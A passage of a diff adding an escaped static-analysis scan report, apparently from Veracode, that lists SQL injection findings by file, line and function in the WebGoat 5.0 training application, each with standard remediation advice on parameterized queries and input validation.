+        against the database.\"/></description><staticflaws><flaw severity=\"4\" categoryname=\"Improper
+        Neutralization of Special Elements used in an SQL Command ('SQL Injection')\"
+        count=\"1\" issueid=\"126\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.Statement.executeUpdate\"
+        description=\"This database query contains a SQL injection flaw. The call
+        to java.sql.Statement.executeUpdate() constructs a dynamic SQL query using
+        a variable derived from user-supplied input. An attacker could exploit this
+        flaw to execute arbitrary SQL queries against the database. The first argument
+        to executeUpdate() contains tainted data from the variable arrSQL. The tainted
+        data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        dynamically constructing SQL queries. Instead, use parameterized prepared
+        statements to prevent the database from interpreting the contents of bind
+        variables as part of the query. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/89.html)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BackDoors.java\"
+        line=\"106\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BackDoors\"
+        functionprototype=\"apache.ecs.Element concept1(session.WebSession)\" functionrelativelocation=\"26\"><exploitability_adjustments><exploitability_adjustment
+        score_adjustment=\"1\"><note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"91\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable arrSQL. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BackDoors.java\"
+        line=\"113\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BackDoors\"
+        functionprototype=\"apache.ecs.Element concept1(session.WebSession)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"236\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BlindSqlInjection.java\"
+        line=\"122\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BlindSqlInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"64\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"148\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"220\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage2(session.WebSession)\" functionrelativelocation=\"31\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"66\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DOS_Login.java\"
+        line=\"114\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DOS_Login\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"26\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"245\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable insertData1. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DOS_Login.java\"
+        line=\"134\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DOS_Login\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"206\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"148\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.Login\" functionprototype=\"byte
+        login(session.WebSession, int, java.lang.String)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"75\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"149\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.Login\"
+        functionprototype=\"byte login(session.WebSession, java.lang.String, java.lang.String)\"
+        functionrelativelocation=\"36\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"106\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"191\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.Login\"
+        functionprototype=\"byte login_BACKUP(session.WebSession, java.lang.String,
+        java.lang.String)\" functionrelativelocation=\"36\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"247\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SqlNumericInjection.java\"
+        line=\"130\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SqlNumericInjection\"
+        functionprototype=\"apache.ecs.Element injectableQuery(session.WebSession)\"
+        functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"165\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SqlStringInjection.java\"
+        line=\"112\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SqlStringInjection\"
+        functionprototype=\"apache.ecs.Element injectableQuery(session.WebSession)\"
+        functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"225\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ThreadSafetyProblem.java\"
+        line=\"103\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.ThreadSafetyProblem\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"53\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"71\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"176\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.UpdateProfile\" functionprototype=\"void
+        changeEmployeeProfile(session.WebSession, int, int, session.Employee)\" functionrelativelocation=\"83\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"112\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"248\" sourcefilepath=\"org/owasp/webgoat/lessons/CrossSiteScripting/\"
+        scope=\"org.owasp.webgoat.lessons.CrossSiteScripting.UpdateProfile\" functionprototype=\"void
+        changeEmployeeProfile(session.WebSession, int, int, session.Employee)\" functionrelativelocation=\"83\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"59\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"295\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.UpdateProfile\" functionprototype=\"void
+        createEmployeeProfile(session.WebSession, int, session.Employee)\" functionrelativelocation=\"68\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"139\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
